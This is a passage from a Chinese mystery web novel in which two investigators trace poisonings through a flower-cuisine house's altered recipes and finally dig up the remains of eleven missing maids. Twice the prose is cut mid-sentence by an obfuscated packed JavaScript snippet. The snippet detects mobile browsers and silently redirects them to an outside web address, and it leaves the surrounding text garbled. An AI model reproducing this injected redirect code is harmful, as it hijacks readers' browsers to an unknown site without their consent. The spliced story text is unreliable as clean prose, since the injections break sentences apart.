孙客说:“我曾在长公主府上吃过几次从千娇堂献来的鲜花糯米糍,但是今日的,似乎哪里怪怪的。” “要说宫里吃的都是山珍海味呢,要不是这次有阮姐姐相助,我这辈子都吃不了这么好的宴席。”她又在扯七扯八,转念一 想又说,“你是怀疑这‘百花宴席’和珞宁公主的疯病有关?” 孙客摸索的动作顿了顿,说:“嗯,好似……今日的少了一股茉莉香。” “茉莉香?茉莉是无毒的,还可做茶。”令知知抱着香枕爬起来正经端坐在榻边,蜷缩在床上的身体突然一紧,不可置信地缓缓说,“你说的,不会是络石花吧?” 4. 谜云重重 “络石花?那是什么?”孙客问。 那场多年前的变故之后,孙客在药铺里昏迷了好一阵子,虽有阮徽这一奇医相助,但几日未见起色,令知知心焦,不知能如何帮他,便日日苦读医书,虽然不精,但现在能帮着辨别个药材什么的也够用了。 “此花以其包络石木而生,故名络石。这种花的样子和茉莉并不相似,但闻起来有股茉莉花的清香,根茎叶果实都能药用,有清热解毒、止痛消肿之功效,但乳汁有毒,并且对心脏毒害最为严重。”令知知皱着眉头,脸上写满了与她样貌不符的深沉。 “太医并未说过她有心疾。”孙客最挂心的还是长公主。 令知知脑子转得快,说:“一直以来诊断长公主病情的可只有唐文一人。” 是了,如果唐文在饮食中下药,也断然不会将症状尽数说出的。孙客沉思。 令知知下床拍了拍他的肩膀,说:“但我现在一想,这络石似乎并不会导致经脉错乱出现神志不清的症状。或许今日的宴席只是少加了一味茉莉花吧!” 她安慰他:“若是你不放心,我们今晚去密探千娇堂怎么样?” “偷秘方就偷秘方,还说什么密探千娇堂。”他苦笑道。 夜晚来得很快,虽说第二日是端午,千娇堂中却不似寻常百姓那样在门前悬挂艾草,而是点起了香烛。 这些香烛放在院中的花型烛台内燃烧,点点烛光在黑夜中显得十分浪漫。 “这花香烛怎么和阮姐姐家的不太一样?”令知知半蹲着细瞅蜡烛上的花纹小声言语。 还是被下人听到了,一行人中年纪稍长的妇人答:“姑娘有所不知,此物并非花香烛,而是专门驱赶蚊虫的驱蚊烛,是用薄荷、薰衣草和天竺葵所制的。” 令知知难掩尴尬准备离开,然后转念一想又折回去问,“天竺葵不是有毒吗,怎么还能放进蜡烛里面点燃呢?” “这天竺葵是有毒性的,但我们这驱蚊烛用的天竺葵量少,并且多放在屋外,对人体是没有伤害的。”她应对自如,像是早就准备好了似地。 “若是没有其他事,奴婢便退下了。” “去吧。”令知知尴尬地将捂住口鼻的手放下。 看院内逐渐安静,孙客从房中出来,二人心照不宣地上了房顶。 俯瞰整个千娇堂,夜晚的静谧气氛显得大小庭院更加独具匠心,烛光星星点点,花影在月下摇曳,百花芳香四溢。 “若是不干偷鸡摸狗的事,还真有点浪漫。”令知知胆子肥了,居然还有心思开玩笑。 孙客靠近她说:“谁说我们是偷鸡摸狗,这是幽会。”热气随着最后两个字幽幽地喷在令知知耳后,她脸一下子涨得比院内的舍子花还要红。 她妄图保持头脑清醒,道:“你是要考学做官,迎娶公主的人,说这种话,不合规矩。” “这不是还没进宫呢嘛。”他语气轻柔,神情动人,像个勾人的花魁。 “那块、咳咳,那块守卫最为森严,便应是藏在那了。”她指了指书房,然后别过脸去,脚上功夫已经恢复了许多,轻轻一蹬就窜到了另外一边的二楼。 孙客也不知自己最近怎么了,总是克制不住想逗她,轻咳一声,后又恢复了以往的正经形象,小心翼翼地跟在令知知后头。 令知知从随身携带的机关匣中掏出一个小玩意儿往水道里一扔,从接触到水的那刻起白色的球状物喷出气体,瞬时间院内烟雾缭绕。 这些水道都是通往莲池的,院里各处走动的侍从都被吸引过去,几个巡视的守卫也立刻赶过去查看情况。 二人轻松跳下,想推窗而入。 谁知这书房的木窗竟然有机关锁,用力推了几下也无用。 几个守卫已听见声响别过头来,令知知心迅雷不及掩耳之势地扣下孙客戴着的兽爪拳刃来,顺着窗缝使劲一劈。 窗开了,二人匆匆跳入房内,令知知随手从机关匣中撇了一片小木片插在窗缝里。然后蹲下捂住口鼻、调整呼吸。 过了好一会儿,直到守卫们挨个推了推门窗,确认无误后,几串脚步声从东面转向西面,二人才咽了咽口水站起来找寻秘方。 书房里什么都有,就是没有书。 二人借着窗外透进来的月光仔细地打开一个个宝盒,里面不是金子就是宝石,没有半点秘方的踪迹。 “不对。”令知知皱了皱鼻子。 孙客正在翻着几幅画卷,黢黑的环境下令知知的眼睛被月光照得亮得惊人。他关切道:“怎么了?” “你闻到了吗?似乎哪里飘来一股香味。”她顺着香味走到一面墙前。 孙客走过去,像是询问,又像是确定令知知的嗅觉道:“是这里。” 令知知左敲敲,右敲敲,将耳朵贴在墙上,又眯着一只眼从墙缝里看。在黑夜里,活像一只找食物的小老鼠。 她像是已经洞悉了一切,有些得意忘形地翘起嘴角,抽出头上的粗簪子在门缝里摸索,然后握住柄部将里面的东西抬起,只听墙内木板掉落的声音,往里轻轻一推,门就开了。 这与常用作防盗墓的自然石机关有着异曲同工之妙。 密室很小,甚至有些过于轻而易举地找到了香味的来源,便是赫然放在桌上的有些泛黄的旧卷。 “你快些记下,木板掉落的声音太大了,会招来人的。”她扔过去给他。 晋书曾用“过目不忘”形容符融,在祺国也同样用这个词形容先太子孙近燕多闻强记的本领。若不是令知知知道他确有这样的能力,也会如世间人一般认为这不过是为了满足人们对于完美与卓越的贤人的向往,对一人之下的太子的吹捧,或是赞誉罢了。 孙客展开书卷,眼神专注而敏捷,不过须臾之间,他便表情凝重地放回原处。 令知知快速地放置好机关,然后拉着孙客原路返回到客房内。 二人像是去泡了汤泉一般,大汗淋漓。 孙客体质弱些,忍了一路,终于在此刻咳了出来。 令知知端来一杯茶给孙客递过去,他没有接过,只是乏力地瘫坐在榻上,缓了口气,说:“那鲜花糯米糍,真有一味是络石,后来被人划去了。” 孙客抿着嘴细细回忆着,不一会儿就叫令知知拿纸来,随即便原模原样地默下了几十种千娇堂吃食和用具的方子。 令知知也坐在他身边,脑袋里飞速地运转着。如果真含络石,那孙客在公主府上不也吃过几次,并没有出现中毒的症状啊。 孙客将方子拿给令知知看,她瞬间表情凝重,说:“你看,除了这鲜花糯米糍的配料有涂改,这个花香烛,甚至是驱蚊香包,都有涂改。而且,被划去的都是有毒的品类,这是络石,这是曼陀罗,还有这,这是虞美人……” 她指着那些被划去的花名,一一比对过去,“有的花误食会引起恶心呕吐危及生命,有的甚至只触摸便会过敏导致心脏麻痹。” 听说老堂主有天突然捂着心脏就过去了。阮徽轻柔妩媚地嗓音像是又在二人耳边重复了一遍。 “所以说,毒害老堂主的,很可能不只有络石花。”他捏了捏拳头。 霎时,令知知浑身上下起了鸡皮疙瘩。 “那么,老堂主有可能就是被千娇堂自己的食物或者用具给毒死的。”她马上扫阅着面前的白纸黑字,像是发现了什么,问他,“你默写时,字体也是跟着原卷一样写的吗?” “大差不差吧。”孙客喝了一口茶。 她猜测:“会不会,这是两个人写的。” 孙客拿过誊写的秘方,想了一想,点了点头。“无论是何种字体,若是出自一人必定是有些相似之处的,但卷上的字迹无论笔锋和笔画先后,前后二者都截然不同。” 他凝神看着右半边的字迹,感觉有些熟悉,猛然想到刚刚自己在书房借着月光看的画卷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068131|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孙客笃定道:“这边的字迹,我刚刚在书房内画卷上见过,落款只单一个‘唐’字。” “那这边的,必是老堂主花展颜的了。”令知知答,然后指着方子说,“你看,这边写的桂花糕、茉莉花茶、玫瑰饼,都是寻常糕点,并且涂改痕迹几乎没有。但另外这边,竟然有五六味毒花被划去了。” “只要确定左边的秘方是何人所写,就能得知害死老堂主的人是否如我们所想了。我们误打误撞,还真查到了老堂主的死因。” “这一切来得太巧了些,先是玉牌,再是千娇堂,最后是秘方。好像我们并未费许多功夫,就查到了这些七零八碎的线索。”令知知不安地在房里踱步,思来想去,只觉得这些天像是一场梦。 离真相越来越近,却反倒不安起来。 孙客抑制住心中的怒火,冷静道:“无论如何,这秘方这是姓唐之人毒害老堂主的证据之一,而我们私闯书房窥探秘方一事于情于理都说不过去,还应该找更多的证据。一旦给他定了罪,说不定还能从此人口里探出些长公主的病因。” 若真是唐文害了长公主,那长公主对他兄妹二人的一片真心真是错付了。令知知想到此处,深深叹了口气。 “你还记得吗,段邤说,是唐先生的大哥首先发现了季州土壤的特别之处,传授村民以种菜为生。”她脑子倒动得快,“此举现在想来,若非是怕百姓误食毒花而丧失,就是有意遮掩,想让有心之人无处可查。” 孙客怀疑道:“也不知道这位‘大哥’又是哪位人物,若与此案相关,我们也须得查查他。” 窗外有些起风了,凉风从窗中灌入,刚刚满头大汗的孙客打了个寒颤,起身去关窗。 只见夜幕下,几片白色花瓣纷飞而至。 他耳边响起了那首词。 “白花落雪无,倾心人如故。深宫锁梦实难见。日月光辉浓淡否?云消散、又重逢。” 那时的令小声陪着宫中同太子玩乐,太监进殿通传珞宁公主突然发起了疯病,等太子赶到时,替静宁公主诊治的便是太医唐文,而初次见到公主发病的唐姝早被吓得不知所踪。 只是公主突发旧疾,言语不清,满眼含泪,认不得人。她躺在床上脸色苍白,但眼神直勾勾地盯着一行人,仍然哑着嗓喊着:“黄莲眠意起,鱼群往来急,愿化玄武守清池。世人恨骂龟郎婿,风吹过、笑开眸。” 那眼神悲戚,令人脊背发凉。令小声跟在太子后面,被那眸子盯得心里直发毛。 这首词的上联,是当时长公主醉酒而作的。那时她心悦唐文,却被赐婚给了长安王,心中满腔愁苦不断,终日饮酒诉情,唐文前去诊治之时,珞宁长公主便趁酒意作诗表达心意。 下联口吻应为男子,却不知是否为唐文所续。但不论是谁所续,将词句泄露之人实在可恶,公主之疾也自那时起,恐也与此相关。后来一打听,珞宁公主这病已三年有余,每到下雨天,公主就变了一个人似的。 不知天气为何会对公主的身体如此重要,后来就连宫女泼水冲刷院子都会引她发病。 太子派信得过的太医开了些汤药,让公主静养着,后来,公主最疼爱的弟弟受奸人所害,已归西而去了。 这次如若真能拿到唐文的把柄,替长公主杀了此人,才够解气。 孙客站在窗前想了许久,直到有个粉色衣裳的侍女走过来,有意无意地朝窗子里面探些什么。 时辰不早了,此举怕是在赶孙客出去。 他背过头,朝令知知使了个眼色,像是故意大声说给那侍女听一样:“不早了,我先回房了,你也莫想了,早些休息。” 令知知小声叮嘱他:“回去记得多洗几次手。”她送他到门口,只见单薄的身影一步步往对面走去,瘦弱得连风都不忍似地刮得轻了些。 这个家伙真是受苦了。 令知知瞥了一眼走廊尽头侍女的背影,掩上了房门。 5. 守得云开 她沉沉睡去,再醒来时,身边竟躺着胸膛插着木偶的孙客,血水顺着衣服汩汩流出,已经将褥子染红了半边。 不、这不是孙客。皂纱折上巾,通犀金玉带,这是孙近燕!她连忙扶起失去意识的孙近燕,握住把他捅得鲜血横流的木偶悲愤怒哭,她叫太医、叫侍卫、甚至直呼皇帝尊名,可惜无论如何喊都叫不出声,只能哑口任凭泪如雨下。 那时的痛如一波又一波的海啸,在慢慢地吞噬她的回忆,悲伤席卷着心脏,竟痛得如刀割般清晰。 “姑娘,姑娘?” 侍女似乎在门外喊她,她惊醒。转了转酸胀的眼球,模糊间看到被褥已经被自己揉搓得不成样子。 呼,还好是梦。她叹了口气,下床开门。 “怎么了?”阳光阳光猝不及防地直射在令知知眼睛上,片刻的失明让她连忙扶住门框。 侍女似乎并未察觉,圆圆的脸蛋稚气未退,傻傻地递上一只纸鸢,说:“姑娘,午后一起去放殃吗?” “放殃?我又不是孩童……”令知知脑袋还在眩晕,顺手就接过纸鸢,是一只张牙舞爪的怪异恶兽,摸样倒是挺可爱的。 她正准备拒绝,却看见孙客在对面也拿了只纸鸢,二人对上目光时,他拿起纸鸢招了招手。是只燕子。 她看着他毫发无损,安心应下:“行,已经午时了吗?” “是,还请姑娘移步正厅用餐,今日堂中来了不少客人呢。”侍女年岁比令知知小些,应该是十分期待过节,眼睛里忽闪着亮光。 “好,我马上来。”听说堂中有客,她好歹要梳妆整齐了再过去。 等打扮好,孙客站在院中等她。 她过去握住他的手,还好,是热的。 “怎么了?”孙客轻轻挑眉,言语里是数不尽的温情。 她瞥了一眼远处站着的侍女,孙客瞬间心领神会,二人靠得更近了些。 “没什么,检查你好好洗手了没。”她把那双大手凑到鼻尖嗅了嗅,是皂角的香味,“还算听话。” 昨天那秘方的香味实在过于浓郁,令知知只摸了一下,洗了好几次手却还有些香味留存着。 似乎早就已经开席了,他们步入正厅时几个舞姬刚从台上退下来,能清楚地看见正中央阶梯上的段邤喝得正在兴头上,几个达官显贵将他围住,缠着他再赏几杯玫瑰清酒。 “不就是玫瑰清酒吗?再拿几坛过来就是了。”他醉熏熏地对着身后李管事说。 李管事被他头上的发簪差点戳了眼睛,只是扶着的手一松,他便要向后倒去。幸亏他腰上的蹀躞带恰好被阶梯边的木柱挂住,这才没有后脑着地。 令知知被挂在柱子上的段邤逗得“噗呲”一声笑了出来。 段邤随即也注意到了二人,虽然挂在柱子上摇摇欲坠,但还是招招手让他们二人入座。待李管事拖着他的屁股好不容易把他从立柱上“取”下来,他便左摇右晃浑身酒气地奔向二人。 “今日没等二位前来先开席了,是我不对。”他抱拳道歉说,“对不住。实在对不住。” 还没等二人开口,他又嘟囔着:“主要是你二人起得太晚了,都日上好几杆了都……” “嘿,你这只臭孔雀……”令知知脱口而出,被孙客捂住了嘴。 孙客好脾气地说到:“前些日子赶路辛苦了些,昨日我们夫妇二人在千娇堂又受到那么好的招待,便睡得沉了。实在抱歉,段堂主,我自罚一杯。”说完便端起酒杯一饮而尽。 段邤听到千娇堂被夸赞,乐呵呵地坐下了,二人也就随他入了座。 “段堂主这蹀躞带好生耀眼。”孙客眼神犀利地盯着段邤腰上挂着的银带子,有些恭维地说,“段堂主莫怪我二人之前眼拙,莫非您已入朝为官?” 段邤乐呵呵的笑脸闪过一瞬间的狡猾,继续说道:“还是小兄弟见多识广啊,这乃是我表兄的物件,可惜啊,他前阵子已然归西了。” “不知段堂主的表兄是?”孙客问。 段邤又饮了一杯酒后举着空酒杯,面色潮红,义正词严地说:“我表兄乃是当朝六品通直郎,李忠冼。” 李忠冼。竟然是李忠冼! 听到这名字,二人的神情都紧张了起来。 孙客的拳头紧了紧,待面色恢复后佯装不知其人地追问:“竟不知段堂主表兄居然是通直郎,先前从未听说过。” “那是当然!”段邤突然拍桌起身,太阳穴的青筋爆起,表情愤怒道,“都是唐先生,她害了我表兄!她将他杀了,被我发现了!所以她才将这千娇堂赠与我,想要借此堵住我的嘴!” 瞬间,万籁俱寂,众人都目瞪口呆地看着他。 厅中只听得见段邤的抽泣声。 又是唐先生?害死李忠冼的罪魁祸首就是唐文?公主有此等罪恶深重的太医在旁侍奉着,过于危险了。 令知知观察着段邤,恍惚间,却好像有片刻露出了诡异的笑容。 李管事慌张地拨开安静的人群,立马将缩成一团的段邤扶起,说:“各位,十分抱歉,我家堂主今天高兴喝多了,说了些胡话,还请大家勿怪。” 说完赶紧向门外使了个眼色,换了身衣裳的舞姬们又上了台,乐出舞起,掩盖住了宾客们的议论声。 “早就听说李忠冼的死与唐先生有关,今日听段堂主这一席话,唐先生的罪行怕是坐实了。”旁边一个年纪稍长的男人说。 令知知向来自来熟,端着酒过去,随便攀谈了几句。 再次回来时,一脸复杂。 “打听到什么了?”孙客问。 “那个人是太常博士何慎言,同李忠冼一起参加过几次斗诗会。李忠冼曾对他推心置腹,说那唐先生招权纳贿、以权谋私,言语中抱怨着他这个人风气败坏。” 令知知看了看周围,确定无人注意后小声说:“李忠冼甚至怀疑老堂主的死和唐先生脱不了干系。不过,在他说了这句话之后的第三天,李忠冼就突发心疾而亡。斗诗会的几个友人都觉得,说不准是李忠冼抓住了唐先生的把柄被他发现了,才不小心丢了性命。” “竟是如此,唐文果真是罪魁祸首。”孙客沉思了一会儿说,“我们暂且相信是李忠冼和花展颜都是突患心疾而死,现今便是要寻毒因了。” 令知知看着眼前的各式各样用百花制成的菜式,硬是一点都吃不进去。 妆容精致的舞女们换了一套又一套衣裳,裙摆随着舞步轻轻地摇曳着。但今日,似有更为吸引人的东西,大家连头都不再抬起,舞女们见状也偷起懒来,动作幅度也不如之前大了。 “各位,今日端午,若是感兴趣的可同我们一道去后院放殃。”一个年纪稍长的侍女说道。 “走吧,去看看。”令知知脑子还混沌着,只想去透透气。这厅中实在过于吵闹,惹得人心浮躁。 千娇堂的后院倒不似前院那般有百花景致,因为坐落在北郊的缘故,在山脚下只有一片视野开阔的草坪。 靠近山的地方有几棵柳树环绕着一池泉水,想必这便是堂中水道的源头了。 年岁稍小的几个孩童已经爬上了附近的假山,侍女们在下面焦灼地看着,生怕孩子们掉进水中。 那个邀请令知知去放纸鸢的侍女尤为担心,半只脚已经踏上了假山,妄图拽下一两个孩童。 “你的刚好是只燕子。”令知知指着天上的纸鸢说。 孙客苦笑,似有些叹息地说:“可惜,是只远燕。”说罢便扯断了风筝线。 燕子随着风越吹越远,最后消失在了二人的视野里。 他语气平淡,带着些许哀愁说:“我出生时名字只定了一个“燕”字,但娘亲怕我像燕子一样天高任鸟飞,离她越来越远,便提议加了一个“近”字,就像这风筝线一样拴住我,让我常常陪伴在她身边。”望着纸鸢消失的方向,他眼神逐渐暗淡,道,“可惜,我还是没能做到。” 他鲜少会说起宫中的事情,令知知盯着他,仿佛能看见他瞳孔里的纸鸢,她安慰道:“燕子是会南飞,但若是他愿意,总会有归来的那一天。” 他视线温柔地对上她的眸子,勉强挤出一个笑容。 周围的纸鸢都渐渐飞了起来,蓝天也渐渐被各式各样的飞禽走兽遮盖,孩童们都从假山上下来抢过侍女们手中的纸鸢争相放了起来。 一根小手指戳了戳令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068132|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知知的屁股,吓得令知知全身毛骨悚然地跳起,差点就要破口大骂。 转过身去才发现是个四五岁的孩童,他眼里噙着泪,甜甜地说:“姐姐,陪我的侍女姐姐不见了,我的大老虎也没了,姐姐,你这纸鸢能不能给我玩。” 这千娇堂的侍女竟如此心大,这些孩童的父母可都是些在官场上能说上话的。 令知知低头看了看自己手里的纸鸢,实在丑得恶心,爽快地答应了:“行,给你,以后不许戳人屁股了!”她拍了拍小孩儿的头。 小孩儿们攀比着谁的纸鸢好看,谁的放得远,令知知被吵得耳朵疼,便要回房休息。 二人走在回去的路上,远离人群吵嚷的安静氛围突然被一阵凄厉的哭喊声打破,那声音充满了无尽的恐惧和绝望。 伴随着这刺耳的哭喊,还有阵阵沉重的棍棒击打声,每一下都仿佛重锤击打在二人的心上,让他们不寒而栗。 他们立刻加快了脚步,急切地想要找到声音的来源。只过了一会儿,他们便循声来到了一个偏僻的院落。房内,一个身影瑟瑟发抖地绑在长凳上。 那是一名侍女,她浑身湿透,衣服紧贴在身上,露出被寒冷和恐惧侵蚀得苍白的肌肤。头发凌乱地贴在脸上,眼中充满了泪水和惊恐,丝毫没有尊严地任人欺辱。 那几名执行棍刑的人,面容冷酷,手中握着粗大的木棍,一下又一下地击打在她瘦弱的身上。 每一次击打,都让她痛得惨叫出声,身体剧烈地颤抖着。 看到这一幕,二人对视后一致决定要救下这名侍女。 “这是怎么了?”令知知问旁边的侍卫。 侍卫冷冷地瞟了一眼令知知,一副生人勿进的模样。 “装什么?”令知知也白了他一眼,嘟囔着。 自从有了白玉令牌,她在这百花堂作威作福,再也不用看别人眼色,爽得很。 熟悉的男声从旁边传来:“对不住,是不是叨扰到二位了?” 目光扫过去,是李管事。 令知知挑起细瘦的指头问:“里面可是在惩罚下人?不知她犯了何错啊?” “二位有所不知,这是堂主的侍女婧儿,她竟然趁着大家都去放殃了,跳进了冷泉中,妄图顺着水道逃跑。” “哦?”孙客轻皱眉,问,“为何要逃?千娇堂内的侍女不能自由进出吗?” 管家搓了搓手,不好意思地说:“这些侍女都是签了卖身契的,没有堂主的允许,那是不可出这千娇堂的。更何况,这婧儿位列十二女,没了她,堂中营生的配方从何而来啊?” “好生可怜的女子。”令知知探头看,愈发觉得那躺着的女子有些眼熟,“这是早上邀我放殃的侍女!”令知知惊呼道,假装焦急地拽着孙客的衣角,使了个眼色。 “李管事,这侍女与我家姑娘有缘,不如剩下这几棍,我来替她挨吧!”孙客说罢便要上前去。 李管事哪敢让孙客受刑,立马拦住他,叫停了用棍的侍卫。 令知知跑过去,看着眼前已经昏死过去的少女,心里十分心疼,皱着眉将她扶上孙客的背。 李管事见状是又惊又怕,对周围还未缓过神来的侍卫说道:“还不赶紧过去帮忙!” 客房内。 孙客把婧儿放下,便站到门外去了。 令知知给她换好衣服,再拿毛巾擦了擦脸,拿着旧衣服去叫孙客时,外面的侍卫正和孙客大眼瞪小眼。 “作甚?你们也想被我脱衣服不成?”令知知没好气地怒骂,手里紧紧攥着沾着大片血迹的衣服,侍卫们见状便屁颠屁颠地走了。 听到门外的动静,“姑娘。”,那惨白的嘴唇里吐出这两个字。 令知知听见喊声赶紧过去招呼,孙客知趣地站在屏风外。 “婧儿姑娘,你都受了什么苦,休要瞒我,你身上可不只有棍刑留下的伤痕。”令知知坐在她床边严肃地问道。 “我……”婧儿皱着眉头,头上布满了细密的汗珠。 令知知说:“你说,若有冤屈,我必定是要为你声张正义的!” 婧儿看着眼前清澈认真的眼瞳,给她讲了个故事。 6. 迷雾散尽 元真九年,少女因家境贫寒经父亲的朋友介绍被卖到了千娇堂,所幸老堂主是个好人,他不仅耐心地教女孩儿们用百花做美食,还让允许她们十二个女孩出堂把秘方传授给城中的老人。 于是在那短暂的一年内,季州城里掀起了品花浪潮,江湖的传说也流传开来,不少德高望重的官员派人寻这“世外桃源”。 从此,以往落魄偏僻的小村庄不复存在,取而代之的是以百花宴为名的季州城。 但偏偏一年后,老堂主暴毙而亡。理应接管千娇堂的是他的爱徒唐文。但自从堂主去世后,唐文并不急于给自己戴上“堂主”之名,而是入了医道。他将千娇堂交与其妹唐姝管理。禁足了堂中所有人,并且要求全季州不能再贩卖鲜花制作的物品。 唐姝也是个奇怪的人,要求大家必须尊称她为“唐先生”。可她一个女子竟然也要内侍,大家虽然觉得怪异,但还是在她的严厉要求下那么做了。往后的几个月,十二女就被按名单要求入唐先生的私房侍候她。 奇怪的是,先后送进去的女孩儿们都离奇地失踪了。排在名单最后,也是最小的少女,因为新堂主段邤的继任而免于进房侍奉。 不过,段邤前些天不知从何处听说了这些事,就抓来少女问先前的女孩儿们都去哪里了,少女该说的都说了,白天她是堂中的侍女,夜晚便要接受严刑逼供,这将她逼到了绝路。 于是她便打算偷偷逃走,听说后院的冷泉是地下水,有暗道,便打算今日趁乱跳入逃出堂外,却还是被抓住了。 令知知叹息这个苦命的女孩,说:“原来你今天那么紧张那些假山上的小孩儿,是怕他们发现暗道啊?” “嗯。”婧儿十分虚弱地回答道。 “被送入房内的少女们,是凭空消失了吗?”令知知不解地问。 婧儿咬着牙说:“对,苍术、小霜她们一共十一个女孩儿,都排在我前面,全消失了,明明房里的衣服包袱都在的。” 看她如此虚弱,令知知说:“先好好休息,我会帮你的。”然后帮她掖好被子,便出去了。 “都听到了?”令知知问孙客。 孙客点点头,说:“所以说,人们口中的‘唐先生’不是唐文,而是唐姝。开毒秘方的人是唐姝,去斗诗会的也是唐姝。那个教老百姓改地种菜的才是唐文。” “好混乱的关系。”令知知心里一团乱麻,揉了揉太阳穴说,“那便先去这位唐先生房里找找线索吧。” 窗外的丹桂还未盛开,深绿的叶片在阳光底下折射着油光。想来是许久未来住的缘由,唐姝的房里太过干净,仅仅需扫两眼就能把屋内的大概了解清楚。 孙客挨个打开柜门,里面装满了淡橘色的花香烛,但这些花香烛在这堂内只算是些寻常物品,不足为奇。 令知知望着空旷的房子,再闭上眼好好感受了一番,说:“很怪。” “哪里?”孙客停下手中的动作,扭过头看着站在中间的令知知。 “这房间里没有花香。”她淡淡地说。 孙客瞥了眼窗外的绿影,说:“嗯,还未到丹桂飘香的季节。”手里继续翻找着。 令知知还是紧闭着双眼,深深吸了一口气,心中有数地挑唇开口:“我好像知道那些女孩儿去哪儿了。” 霎时间,一切线索在脑中如珠链般串联。唯差最后一环。 “从何得知?”孙客一丝线索还未找到,心急地问:“去哪儿了?” “且跟我来。”令知知终于睁开双眼,撒腿跑去。 令知知跑到账房里,问帐房先生要了元真十年的采货单子。账房先生原是不肯的,抱着本子不撒手,还是后来令知知把玉牌扯下给他看,才犹犹豫豫地递出来。 看了账本的令知知嘴角扬地愈发高了,但想了想受苦的女孩儿们,又轻轻给了自己一巴掌。呸,令知知,你得意个什么劲儿,那可是十几条无辜人命。 她仔细地翻找着,又递给孙客看,“这回齐了。” 孙客像是恍然大悟似的“哦!”了一声。 按李管事说的,明早便会将货物凑齐,再在千娇堂赖着住下去已是不妥,最好今晚就将真相公之于众,还所有因此逝去的人和他们的亲人一个公道。令知知想。 她胸有成竹地说:“今晚宴席,还所有人一个真相怎么样?” 令知知的眼睛里映出落日的余晖,金色勾勒着斜阳,紫粉包裹着云边,好像打烂了染缸一般。而后,深蓝吞噬了天空,她眼里又映出了初升的月亮,明亮透彻。 酒席上,觥筹交错,炊金馔玉。 一如往日地把自己打理得花里胡哨的段邤,正坐在高位之上,或许是听说了自己酒后胡言,夜晚的他要比午宴时清醒许多,一个不理地埋头吃饭。 孙客看宴席上各位已经吃得差不多了,便带头举杯祝贺:“今日端午,大家相聚于此已是缘分,孙某感谢此次机会认识诸位,敬大家一杯!”说完便将杯里的酒一饮而尽。 宴上的各个达官显贵虽不知他是谁,但相识一场,总要做做样子,便也相继举杯。 令知知也站了起来,潇洒地端起酒杯说:“令某再邀各位喝上一杯,只因有些事还得撞着胆子听下去。“ 众人听后有些惊奇,相互小声交谈着。 连段邤也一脸莫名其妙地看着她。但看令知知也喝了一杯,自己也就象征性地也陪了一杯。 令知知随后拍了拍手,几个侍女出来将孩童们都抱了出去,只留下大人们一头雾水。 何慎言似乎感应到了什么,问:“这位令姑娘要说什么?” 令知知从容地站到宴席中间,有条不紊地说道:“段堂主似乎很想知道先前唐先生的内侍们都去哪儿了。” 段邤一听,咽了口口水,颤颤巍巍地站起来问:“你知道?” “各位请跟我来。”令知知漂亮地甩头走去。 人群跟着她走到客房院内,此时舍子花颜色嫣红,随风轻晃着,在黑夜下显得妖艳十足。 “这不是你们二人的房间吗?”李管事首先发言,“难不成这些侍女就藏在你二人房中不成?” 令知知没有理会,对着一众茫然的脸说:“我来这千娇堂中时,陶醉在个呈异彩繁花美景之中去了,想必大家也是一样。但是不巧,那天我误打误撞进了唐先生唐姝的房间,发现她院子周围的桂花还未到盛开的季节。” “所以呢?”宾客似乎觉得这是常识,不耐烦地问道。 令知知走到满院的红面前,说:“所以,我竟然未注意到,我院中这些舍子花,现在应该也未到季节才对啊。舍子花分为春舍子和秋舍子,现如今不过五月,怎能开得如此繁盛。” 宾客们大眼瞪小眼,一时都说不出话来。 孙客站出来补充道:“各位都应该知道,影响花期的原因不过温度、湿度和肥料,如今应正是舍子花的休眠期,而这温度和湿度应该和城内外都差不多”,他意味深长地撇了众人一眼,继续道,“这让人很难不怀疑是肥料充足的原因啊。” 令知知也走到众人身边,摸着下巴说:“再者说,舍子花传说是死人花,其经常出现在墓地而被视作不祥之物,那为何又会出现在千娇堂此处呢?老堂主不是最忌讳这些吗?” 说完她看了一眼段邤,此时他早就眼神涣散,像是被抽走了魂魄似的。 见众人无动于衷,她又说道:“不如现在就请侍卫们辛苦一下,把这花坛挖开,看看是否有奇怪之处啊。” 侍卫们看向段邤,段邤看上去已经有些站不稳了,撑着李管事的肩膀,咬着牙说:“去挖!” 侍卫们不过一会儿就在院中各处栽有舍子花的泥土中不出所料地挖出了几具已经堆积在一起已然变形的尸骨。 “这些,恐怕便是失踪的那十一位侍女。”令知知早有准备,十分冷静地看着骸骨。 宾客们应该是第一次见到这么多的尸骨,哆哆嗦嗦地站在侍卫后面眯着眼看。 不一会儿,侍卫们经过拼凑,禀报段邤:“堂主,这确实有十一具女尸。” 段邤的手紧紧捏成了拳头,对着令知知怒吼道:“别啰嗦了,告诉我,是谁杀了他们!” “是你们口中的唐先生,也就是唐姝。”令知知拍了拍手,一个侍女把采货单子呈到段邤面前。 令知知不顾众人还在瞠目结舌,不露声色地说:“打开它,翻到七月的记录。上面写着七月唐姝进购了一批来自焉境的奇花,名叫赤咤霞对吧。” 段邤拿过册子开始翻找,然后停在了某页。 “本姑娘博闻强记,曾在江湖怪医处听说过此花。在焉境,古时人们食生肉饮红血,为掩盖血腥气,常常将赤咤霞磨成粉末燃烧,能长时间的麻痹野兽的嗅觉,防止野兽入侵抢食。而那日我在唐姝的房间,四面开着窗通风, 